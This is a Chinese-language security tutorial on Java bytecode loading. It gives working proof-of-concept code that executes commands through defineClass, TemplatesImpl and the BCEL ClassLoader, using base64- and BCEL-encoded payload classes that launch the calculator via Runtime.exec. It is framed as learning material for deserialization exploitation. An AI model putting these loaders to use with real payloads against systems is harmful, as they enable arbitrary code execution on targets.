JavaByteCode 从烧0到1
字节码简介
Java 字节码(英语:Java bytecode)是Java虚拟机执行的一种指令格式。大多数操作码都是一个字节长,而有些操作需要参数,导致了有一些多字节的操作码。而且并不是所有可能的256个操作码都被使用;其中有51个操作码被保留做将来使用。除此之外,原始Java平台开发商,太阳微系统,额外保留了3个代码永久不使用。(来源:wiki
我们写完.java文件后,使用javac进行编译,便溢出来的.class文件储存的就是Java字节码。JVM运行的就是这些.class字节码,所以Java语言的优势也在于不管平台是什么,CPU等硬件状态如何,开发者只需要使用javac编译成字节码就可以在JVM中运行。
同时,JVM能加载的字节码不一定需要是javac编译的.class文件,任何语言,只要能将代码编译成.class文件,都可以在JVM虚拟机中运行。比如scala,Groovy,kotlin等。
URLClassLoader
在之前的文章中我们有提到过,JVM是依靠ClassLoader加载javac编译的.class字节码文件来运行代码,URLClassLoader这个类是平时默认使用的 AppClassLoader
的父类。Java会根据sun.boot.class.path、java.class.path中列举到的路径去寻找.class文件来进行加载。这些路径实际上就是Java的java.net.URL实例化的对象,这些路径分为三个情况:
- URL 未以 斜杠/ 结尾,则认为是一个JAR 文件,使用 JARLoader 寻找类,即在 Jar包中寻找.class 文件。
- URL 以斜杠 / 结尾,且协议名为
file
,则使用FileLoader
来寻找类,即在本地文件系统中寻找 .class 文件。 - URL 以斜杠 / 结尾,且协议名不为
file
,则使用最基础的 Loader 来寻找类。
ClassLoader#defineClass
在ClassLoader加载字节码的过程中,具体的流程如下:
ClassLoader#loadClass–>ClassLoader#findClass–>ClassLoader#defineClass
ClassLoader#defineClass的作用是处理前面传入的字节码,将其变成真正的java类。也是整个流程的核心方法。并且他是一个native方法,定义在JVM的c语言代码中
我们尝试去使用defineClass方法加载一个编译好的.class文件
首先定义一个类,实现弹计算器的方法
Calc.java
package com.p;
import java.io.IOException;
import java.io.Serializable;
public class Calc implements Serializable {
public Calc(){
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}
再将Calc.java编译后生成的Calc.class字节码文件转换为base64:
Base64File.java
package com.p;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;
public class Base64File {
public static void main(String[] args)throws Exception {
Object calc = new Calc();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
InputStream ios = new FileInputStream("/Users/m1saka/Code/java/IdeaProjects/javatest/target/classes/com/p/Calc.class");
int temp = -1;
while((temp = ios.read()) != -1) {
barr.write(temp);
}
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}
生成的base64为
yv66vgAAADQAKAoACAAYCgAZABoIABsKABkAHAcAHQoABQAeBwAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAMTGNvbS9wL0NhbGM7AQANU3RhY2tNYXBUYWJsZQcAHwcAHQEAClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAoACwcAIgwAIwAkAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJwALAQAKY29tL3AvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAQAJAAAAAQABAAoACwABAAwAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAA0AAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADgAAABYAAgARAAQADwAQAAEAAAAWABEAEgAAABMAAAAQAAL/ABAAAQcAFAABBwAVBAABABYAAAACABc=
最后使用defineClass方法去处理字节码:
DefineClassDemo.java
package com.p;
import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClassDemo {
public static void main(String[] args) throws Exception{
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKAoACAAYCgAZABoIABsKABkAHAcAHQoABQAeBwAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAMTGNvbS9wL0NhbGM7AQANU3RhY2tNYXBUYWJsZQcAHwcAHQEAClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAoACwcAIgwAIwAkAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJwALAQAKY29tL3AvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAQAJAAAAAQABAAoACwABAAwAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAA0AAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADgAAABYAAgARAAQADwAQAAEAAAAWABEAEgAAABMAAAAQAAL/ABAAAQcAFAABBwAVBAABABYAAAACABc=");
Class calc = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),null, code, 0, code.length);
calc.newInstance();
}
}
可以看到运行之后成功触发并弹出了了计算器
注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。
TemplatesImpl加载字节码
我们上面也说过,defineClass方法是一个native方法,由JVM的底层c语言实现,所以一般上层开发者没人会闲的无聊使用他,但是TemplatesImpl类中有使用到defineClass方法,成为我们重视的对象。
我们去TemplatesImpl类中搜寻defineClass方法,可以看到在一个内部类TransletClassLoader中重写了defineClass方法。
接着我们去寻找调用,在defineTransletClasses方法中我们看到这里调用了defineClass。
我们往上走,找可以利用的public类:
defineTransletClasses< - - -getTransletInstance< - - -newTransformer
到了newTransformer这里我们看到,他的声明类型是public,可以被外部调用。我们使用newTransformer构造一个poc:
package com.p;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class DefineClassDemo {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("");
TemplatesImpl tem = new TemplatesImpl();
setFieldValue(tem, "_bytecodes", new byte[][] {code});
setFieldValue(tem, "_name", "1");
setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
tem.newTransformer();
}
}
有一个细节:TemplatesImpl对于加载的字节码有一定要求,需要继承于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。所以我们需要修改原来的Calc类,使其继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。
package com.p;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成的字节码导入原来的demo中就可以触发。
BCEL ClassLoader
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的 原生库中。
BCEL 提供两个可以利用的类 ,Repository和 Utility 。Repository 用于将 Java Class转化成原生字节码,当然也可以用 javac 来编译生成字节码。Utility 用于将字节码转化成BCEL 格式的字节码。
BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。
package com.bytecode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELDeml {
protected static void encode()throws Exception{
JavaClass cls = Repository.lookupClass(Calc.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
}
protected static void decode(String code)throws Exception{
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
public static void main(String[] args) throws Exception{
//encode();
decode("$l$8b$I$A$A$A$A$A$A$AmQ$cbN$e3$40$Q$acI$9c$d81$O$n$81$f0$86$ddey$E$O$eb$L7$Q$X$E$S$c2$3cD$Q$9c$t$b3$a30$accG$ce$E$c1$Xq$e6$c2$o$O$7c$A$l$85$e8$Z$9e$SX$f2$f4twUu$b5$fd$f8t$ff$A$60$V$8b$3e$3c$8c$f9$Y$c7$84$87I$T$a7$5cL$fb$u$60$c6$c5$ac$8b$l$M$c5u$95$u$bd$c1$90o$y$9f08$9b$e9_$c9P$89T$o$f7$fb$9d$96$cc$8ey$x$a6J$zJ$F$8fOx$a6L$feZt$f4$99$ea1$MG$o$ed$84$ad$x$z$F$b1$c3M$k$8b5$Go$5d$c4$af$da$8c$b0$f5$e8$9c_$f0P$a5$e1$ce$c1$d6$a5$90$5d$ad$d2$84$60$e5$a6$e6$e2$df$k$efZM$b2$c7$e07$d3$7e$s$e4$b623JF$ee$8f$e1$G$u$c1w$f13$c0$_$cc$d1p$f2$p$C$fc$c6$3c9$f8F$3b$c0$C$7c$86$ea$Xo$MC$W$k$f3$a4$j$k$b4$ce$a5$d0$E$fb$u$j$f5$T$ad$3a4$daoK$fd$9e$d4$h$cb$d1$X$M$f9w$e4$a5$q$c9$a5$c6$a7nSg$wi$af$7d$s$if$a9$90$bd$k$R$w$5djj$bb$f5q$c6$85$a4m$5c$faM$e6$c9$81$99$j$e9$i$a0$y$a4$c8$u$WV$fe$83$dd$d8v$40g$d1$W$j$94$e9$M$5e$A$YD$85$a2$87$a1w2$b7b$40$ed$O$b9Z$fe$W$ce$e95$bc$dd$95$5b$Uol$bdD$dc$C$f2Vq$94n$86$5d$o$a6$f9$c8eR$a9$d2$edmB$99$a6UQ$a3l$98$5e$X$b9$c8$c5$88C$8d$ba55$fa$M$ad$5d$a2Ap$C$A$A");
}
}
package com.bytecode;
import java.io.IOException;
public class Calc {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}